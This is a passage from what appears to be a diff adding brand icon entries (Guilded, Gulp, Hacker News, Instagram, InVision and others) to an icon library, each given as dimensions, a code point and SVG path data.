46.5l-3.5 5.8 5.6-3.9s.2-.1.4-.3c8.7-6.8 39-29.8 64.1-37.7 7-2.2 20.6-6 32.9-6 6.3 0 11.3 1 15.1 2.9 3.5 1.8 5.7 4.4 6.7 7.8 2.5 9.1-6.1 22.6-9.4 26.6-.5.6-.9 1.3-1.3 2.2-.3-4.6-.5-9.5-.3-14.4-4 8.8-6.5 31.5-5.1 43 3.6 29.3 15.7 44.3 15.7 44.3-.8-1.6-1.8-7.7-2.7-14.9.7.6 1.5 1.2 2.2 1.8l.5.4c4.6 3.7 8.9 7.1 8.9 18.2 0 14.2-15.4 22.5-30.2 30.5-2.9 1.5-5.7 3.1-8.4 4.6-8.7 5-18 16.7-19.1 34.2-.9 14.6.9 49.9 3.4 75.9-12.4 4.8-26.7 6.4-39.7 6.8-2-4.1-3.9-8.5-5.5-13.1-.7-2-19.6-51.1-26.4-62.2 5.5 39 17.5 73.7 23.5 89.6-3.5-.5-7.3-.7-11.7-.7h-117c-4.4 0-8.3.3-11.7.7 6-15.9 18.1-50.6 23.5-89.6-6.8 11.2-25.7 60.3-26.4 62.2-1.6 4.6-3.5 9-5.5 13.1-13-.4-27.2-2-39.7-6.8 2.5-26 4.3-61.2 3.4-75.9-.9-17.4-10.3-29.2-19-34.2zM34.8 404.6c-12.1-20-8.7-54.1-3.7-59.1 10.9 34.4 47.2 44.3 74.4 45.4-2.7 4.2-5.2 7.6-7 10l-1.4 1.4c-7.2 7.8-8.6 18.5-4.1 31.8-22.7-.1-46.3-9.8-58.2-29.5zm45.7 43.5c6 1.1 12.2 1.9 18.6 2.4 3.5 8 7.4 15.9 12.3 23.1-14.4-5.9-24.4-16-30.9-25.5zM192 498.2c-60.6-.1-78.3-45.8-84.9-64.7-3.7-10.5-3.4-18.2.9-23.1 2.9-3.3 9.5-7.2 24.6-7.2h118.8c15.1 0 21.8 3.9 24.6 7.2 4.2 4.8 4.5 12.6.9 23.1-6.6 18.8-24.3 64.6-84.9 64.7zm80.6-24.6c4.9-7.2 8.8-15.1 12.3-23.1 6.4-.5 12.6-1.3 18.6-2.4-6.5 9.5-16.5 19.6-30.9 25.5zm76.6-69c-12 19.7-35.6 29.3-58.1 29.7 4.5-13.3 3.1-24.1-4.1-31.8-.4-.5-.9-1-1.4-1.5-1.8-2.4-4.3-5.8-7-10 27.2-1.2 63.5-11 74.4-45.4 5 5 8.4 39.1-3.8 59zM191.9 187.7h.2c12.7-.1 27.2-17.8 27.2-17.8-9.9 6-18.8 8.1-27.3 8.3-8.5-.2-17.4-2.3-27.3-8.3 0 0 14.5 17.6 27.2 17.8zm61.7 230.7h-29.4c-4.2 0-7.2.9-8.9 2.7-2.2 2.3-1.5 5.2-.9 6.7 1 2.6 5.5 11.3 13 19.3 2.7 2.9 6.6 4.5 11 4.5s8.7-1.6 11.8-4.2c2.3-2 10.2-9.2 13.7-18.1 1.3-3.3 1-6-.9-7.9-1.3-1.3-4-2.9-9.4-3z"], + "guilded": [448, 512, [], "e07e", "M443.427,64H4.571c0,103.26,22.192,180.06,43.418,222.358C112.046,414.135,224,448,225.256,448a312.824,312.824,0,0,0,140.55-103.477c25.907-33.923,53.1-87.19,65.916-145.761H171.833c4.14,36.429,22.177,67.946,45.1,86.944h88.589c-17.012,28.213-48.186,54.4-80.456,69.482-31.232-13.259-69.09-46.544-96.548-98.362-26.726-53.833-27.092-105.883-27.092-105.883H437.573A625.91,625.91,0,0,0,443.427,64Z"], + "gulp": [256, 512, [], "f3ae", "M209.8 391.1l-14.1 24.6-4.6 80.2c0 8.9-28.3 16.1-63.1 16.1s-63.1-7.2-63.1-16.1l-5.8-79.4-14.9-25.4c41.2 17.3 126 16.7 165.6 0zm-196-253.3l13.6 125.5c5.9-20 20.8-47 40-55.2 6.3-2.7 12.7-2.7 18.7.9 5.2 3 9.6 9.3 10.1 11.8 1.2 6.5-2 9.1-4.5 9.1-3 0-5.3-4.6-6.8-7.3-4.1-7.3-10.3-7.6-16.9-2.8-6.9 5-12.9 13.4-17.1 20.7-5.1 8.8-9.4 18.5-12 28.2-1.5 5.6-2.9 14.6-.6 19.9 1 2.2 2.5 3.6 4.9 3.6 5 0 12.3-6.6 15.8-10.1 4.5-4.5 10.3-11.5 12.5-16l5.2-15.5c2.6-6.8 9.9-5.6 9.9 0 0 10.2-3.7 13.6-10 34.7-5.8 19.5-7.6 25.8-7.6 25.8-.7 2.8-3.4 7.5-6.3 7.5-1.2 0-2.1-.4-2.6-1.2-1-1.4-.9-5.3-.8-6.3.2-3.2 6.3-22.2 7.3-25.2-2 2.2-4.1 4.4-6.4 6.6-5.4 5.1-14.1 11.8-21.5 11.8-3.4 0-5.6-.9-7.7-2.4l7.6 79.6c2 5 39.2 17.1 88.2 17.1 49.1 0 86.3-12.2 88.2-17.1l10.9-94.6c-5.7 5.2-12.3 11.6-19.6 14.8-5.4 2.3-17.4 3.8-17.4-5.7 0-5.2 9.1-14.8 14.4-21.5 1.4-1.7 4.7-5.9 4.7-8.1 0-2.9-6-2.2-11.7 2.5-3.2 2.7-6.2 6.3-8.7 9.7-4.3 6-6.6 11.2-8.5 15.5-6.2 14.2-4.1 8.6-9.1 22-5 13.3-4.2 11.8-5.2 14-.9 1.9-2.2 3.5-4 4.5-1.9 1-4.5.9-6.1-.3-.9-.6-1.3-1.9-1.3-3.7 0-.9.1-1.8.3-2.7 1.5-6.1 7.8-18.1 15-34.3 1.6-3.7 1-2.6.8-2.3-6.2 6-10.9 8.9-14.4 10.5-5.8 2.6-13 2.6-14.5-4.1-.1-.4-.1-.8-.2-1.2-11.8 9.2-24.3 11.7-20-8.1-4.6 8.2-12.6 14.9-22.4 14.9-4.1 0-7.1-1.4-8.6-5.1-2.3-5.5 1.3-14.9 4.6-23.8 1.7-4.5 4-9.9 7.1-16.2 1.6-3.4 4.2-5.4 7.6-4.5.6.2 1.1.4 1.6.7 2.6 1.8 1.6 4.5.3 7.2-3.8 7.5-7.1 13-9.3 20.8-.9 3.3-2 9 1.5 9 2.4 0 4.7-.8 6.9-2.4 4.6-3.4 8.3-8.5 11.1-13.5 2-3.6 4.4-8.3 5.6-12.3.5-1.7 1.1-3.3 1.8-4.8 1.1-2.5 2.6-5.1 5.2-5.1 1.3 0 2.4.5 3.2 1.5 1.7 2.2 1.3 4.5.4 6.9-2 5.6-4.7 10.6-6.9 16.7-1.3 3.5-2.7 8-2.7 11.7 0 3.4 3.7 2.6 6.8 1.2 2.4-1.1 4.8-2.8 6.8-4.5 1.2-4.9.9-3.8 26.4-68.2 1.3-3.3 3.7-4.7 6.1-4.7 1.2 0 2.2.4 3.2 1.1 1.7 1.3 1.7 4.1 1 6.2-.7 1.9-.6 1.3-4.5 10.5-5.2 12.1-8.6 20.8-13.2 31.9-1.9 4.6-7.7 18.9-8.7 22.3-.6 2.2-1.3 5.8 1 5.8 5.4 0 19.3-13.1 23.1-17 .2-.3.5-.4.9-.6.6-1.9 1.2-3.7 1.7-5.5 1.4-3.8 2.7-8.2 5.3-11.3.8-1 1.7-1.6 2.7-1.6 2.8 0 4.2 1.2 4.2 4 0 1.1-.7 5.1-1.1 6.2 1.4-1.5 2.9-3 4.5-4.5 15-13.9 25.7-6.8 25.7.2 0 7.4-8.9 17.7-13.8 23.4-1.6 1.9-4.9 5.4-5 6.4 0 1.3.9 1.8 2.2 1.8 2 0 6.4-3.5 8-4.7 5-3.9 11.8-9.9 16.6-14.1l14.8-136.8c-30.5 17.1-197.6 17.2-228.3.2zm229.7-8.5c0 21-231.2 21-231.2 0 0-8.8 51.8-15.9 115.6-15.9 9 0 17.8.1 26.3.4l12.6-48.7L228.1.6c1.4-1.4 5.8-.2 9.9 3.5s6.6 7.9 5.3 9.3l-.1.1L185.9 74l-10 40.7c39.9 2.6 67.6 8.1 67.6 14.6zm-69.4 4.6c0-.8-.9-1.5-2.5-2.1l-.2.8c0 1.3-5 2.4-11.1 2.4s-11.1-1.1-11.1-2.4c0-.1 0-.2.1-.3l.2-.7c-1.8.6-3 1.4-3 2.3 0 2.1 6.2 3.7 13.7 3.7 7.7.1 13.9-1.6 13.9-3.7z"], + "hacker-news": [448, 512, [], "f1d4", "M0 32v448h448V32H0zm21.2 197.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"], + "hacker-news-square": [448, 512, [], "f3af", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"], + "hackerrank": [512, 512, [], "f5f7", "M477.5 128C463 103.05 285.13 0 256.16 0S49.25 102.79 34.84 128s-14.49 230.8 0 256 192.38 128 221.32 128S463 409.08 477.49 384s14.51-231 .01-256zM316.13 414.22c-4 0-40.91-35.77-38-38.69.87-.87 6.26-1.48 17.55-1.83 0-26.23.59-68.59.94-86.32 0-2-.44-3.43-.44-5.85h-79.93c0 7.1-.46 36.2 1.37 72.88.23 4.54-1.58 6-5.74 5.94-10.13 0-20.27-.11-30.41-.08-4.1 0-5.87-1.53-5.74-6.11.92-33.44 3-84-.15-212.67v-3.17c-9.67-.35-16.38-1-17.26-1.84-2.92-2.92 34.54-38.69 38.49-38.69s41.17 35.78 38.27 38.69c-.87.87-7.9 1.49-16.77 1.84v3.16c-2.42 25.75-2 79.59-2.63 105.39h80.26c0-4.55.39-34.74-1.2-83.64-.1-3.39.95-5.17 4.21-5.2 11.07-.08 22.15-.13 33.23-.06 3.46 0 4.57 1.72 4.5 5.38C333 354.64 336 341.29 336 373.69c8.87.35 16.82 1 17.69 1.84 2.88 2.91-33.62 38.69-37.58 38.69z"], + "hips": [640, 512, [], "f452", "M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z"], + "hire-a-helper": [512, 512, [], "f3b0", "M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z"], + "hive": [512, 512, [], "e07f", "M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z"], + "hooli": [640, 512, [], "f427", "M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z"], + "hornbill": [512, 512, [], "f592", "M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z"], + "hotjar": [448, 512, [], "f3b1", "M414.9 161.5C340.2 29 121.1 0 121.1 0S222.2 110.4 93 197.7C11.3 252.8-21 324.4 14 402.6c26.8 59.9 83.5 84.3 144.6 93.4-29.2-55.1-6.6-122.4-4.1-129.6 57.1 86.4 165 0 110.8-93.9 71 15.4 81.6 138.6 27.1 215.5 80.5-25.3 134.1-88.9 148.8-145.6 15.5-59.3 3.7-127.9-26.3-180.9z"], + "houzz": [448, 512, [], "f27c", "M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z"], + "html5": [384, 512, [], "f13b", "M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z"], + "hubspot": [512, 512, [], "f3b2", "M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z"], + "ideal": [576, 512, [], "e013", "M125.61,165.48a49.07,49.07,0,1,0,49.06,49.06A49.08,49.08,0,0,0,125.61,165.48ZM86.15,425.84h78.94V285.32H86.15Zm151.46-211.6c0-20-10-22.53-18.74-22.53H204.82V237.5h14.05C228.62,237.5,237.61,234.69,237.61,214.24Zm201.69,46V168.93h22.75V237.5h33.69C486.5,113.08,388.61,86.19,299.67,86.19H204.84V169h14c25.6,0,41.5,17.35,41.5,45.26,0,28.81-15.52,46-41.5,46h-14V425.88h94.83c144.61,0,194.94-67.16,196.72-165.64Zm-109.75,0H273.3V169h54.43v22.73H296v10.58h30V225H296V237.5h33.51Zm74.66,0-5.16-17.67H369.31l-5.18,17.67H340.47L368,168.92h32.35l27.53,91.34ZM299.65,32H32V480H299.65c161.85,0,251-79.73,251-224.52C550.62,172,518,32,299.65,32Zm0,426.92H53.07V53.07H299.65c142.1,0,229.9,64.61,229.9,202.41C529.55,389.57,448.55,458.92,299.65,458.92Zm83.86-264.85L376,219.88H392.4l-7.52-25.81Z"], + "imdb": [448, 512, [], "f2d8", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.3 229.2H21c.1-.1.2-.3.3-.4zM97 319.8H64V192h33zm113.2 0h-28.7v-86.4l-11.6 86.4h-20.6l-12.2-84.5v84.5h-29V192h42.8c3.3 19.8 6 39.9 8.7 59.9l7.6-59.9h43zm11.4 0V192h24.6c17.6 0 44.7-1.6 49 20.9 1.7 7.6 1.4 16.3 1.4 24.4 0 88.5 11.1 82.6-75 82.5zm160.9-29.2c0 15.7-2.4 30.9-22.2 30.9-9 0-15.2-3-20.9-9.8l-1.9 8.1h-29.8V192h31.7v41.7c6-6.5 12-9.2 20.9-9.2 21.4 0 22.2 12.8 22.2 30.1zM265 229.9c0-9.7 1.6-16-10.3-16v83.7c12.2.3 10.3-8.7 10.3-18.4zm85.5 26.1c0-5.4 1.1-12.7-6.2-12.7-6 0-4.9 8.9-4.9 12.7 0 .6-1.1 39.6 1.1 44.7.8 1.6 2.2 2.4 3.8 2.4 7.8 0 6.2-9 6.2-14.4z"], + "innosoft": [448, 512, [], "e080", "M422.559,159.71a27.379,27.379,0,0,0-13.866-23.337,26.42,26.42,0,0,0-26.211.133L73.943,314.647V176.261a11.955,11.955,0,0,1,6.047-10.34L218.066,86.208a12.153,12.153,0,0,1,11.922.025l32.656,18.853L112.581,191.723v56L359.642,105.086,241.129,36.679c-10.992-6.129-22.3-6.255-33.8-.27l-164.6,95.026c-10.634,6.12-16.771,16.39-17.29,29.124l0,191.5c.17,10.135,5.08,18.672,13.474,23.428a27.037,27.037,0,0,0,26.736-.045L374.057,197.376V335.657a11.976,11.976,0,0,1-5.92,10.368L230.025,425.77a12.175,12.175,0,0,1-11.937.062l-32.723-18.9,150.051-86.627v-56L88.367,406.932l118.794,68.583a33.88,33.88,0,0,0,34.25-.327l164.527-94.995c10.746-6.631,16.649-17.118,16.624-29.528Z"], + "instagram": [448, 512, [], "f16d", "M224.1 141c-63.6 0-114.9 51.3-114.9 114.9s51.3 114.9 114.9 114.9S339 319.5 339 255.9 287.7 141 224.1 141zm0 189.6c-41.1 0-74.7-33.5-74.7-74.7s33.5-74.7 74.7-74.7 74.7 33.5 74.7 74.7-33.6 74.7-74.7 74.7zm146.4-194.3c0 14.9-12 26.8-26.8 26.8-14.9 0-26.8-12-26.8-26.8s12-26.8 26.8-26.8 26.8 12 26.8 26.8zm76.1 27.2c-1.7-35.9-9.9-67.7-36.2-93.9-26.2-26.2-58-34.4-93.9-36.2-37-2.1-147.9-2.1-184.9 0-35.8 1.7-67.6 9.9-93.9 36.1s-34.4 58-36.2 93.9c-2.1 37-2.1 147.9 0 184.9 1.7 35.9 9.9 67.7 36.2 93.9s58 34.4 93.9 36.2c37 2.1 147.9 2.1 184.9 0 35.9-1.7 67.7-9.9 93.9-36.2 26.2-26.2 34.4-58 36.2-93.9 2.1-37 2.1-147.8 0-184.8zM398.8 388c-7.8 19.6-22.9 34.7-42.6 42.6-29.5 11.7-99.5 9-132.1 9s-102.7 2.6-132.1-9c-19.6-7.8-34.7-22.9-42.6-42.6-11.7-29.5-9-99.5-9-132.1s-2.6-102.7 9-132.1c7.8-19.6 22.9-34.7 42.6-42.6 29.5-11.7 99.5-9 132.1-9s102.7-2.6 132.1 9c19.6 7.8 34.7 22.9 42.6 42.6 11.7 29.5 9 99.5 9 132.1s2.7 102.7-9 132.1z"], + "instagram-square": [448, 512, [], "e055", "M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z"], + "instalod": [512, 512, [], "e081", "M153.384,480H387.113L502.554,275.765,204.229,333.211ZM504.726,240.078,387.113,32H155.669L360.23,267.9ZM124.386,48.809,7.274,256,123.236,461.154,225.627,165.561Z"], + "intercom": [448, 512, [], "f7af", "M392 32H56C25.1 32 0 57.1 0 88v336c0 30.9 25.1 56 56 56h336c30.9 0 56-25.1 56-56V88c0-30.9-25.1-56-56-56zm-108.3 82.1c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zm-74.6-7.5c0-19.8 29.9-19.8 29.9 0v216.5c0 19.8-29.9 19.8-29.9 0V106.6zm-74.7 7.5c0-19.8 29.9-19.8 29.9 0v199.5c0 19.8-29.9 19.8-29.9 0V114.1zM59.7 144c0-19.8 29.9-19.8 29.9 0v134.3c0 19.8-29.9 19.8-29.9 0V144zm323.4 227.8c-72.8 63-241.7 65.4-318.1 0-15-12.8 4.4-35.5 19.4-22.7 65.9 55.3 216.1 53.9 279.3 0 14.9-12.9 34.3 9.8 19.4 22.7zm5.2-93.5c0 19.8-29.9 19.8-29.9 0V144c0-19.8 29.9-19.8 29.9 0v134.3z"], + "internet-explorer": [512, 512, [], "f26b", "M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z"], + "invision": [448, 512, [], "f7b0", "M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 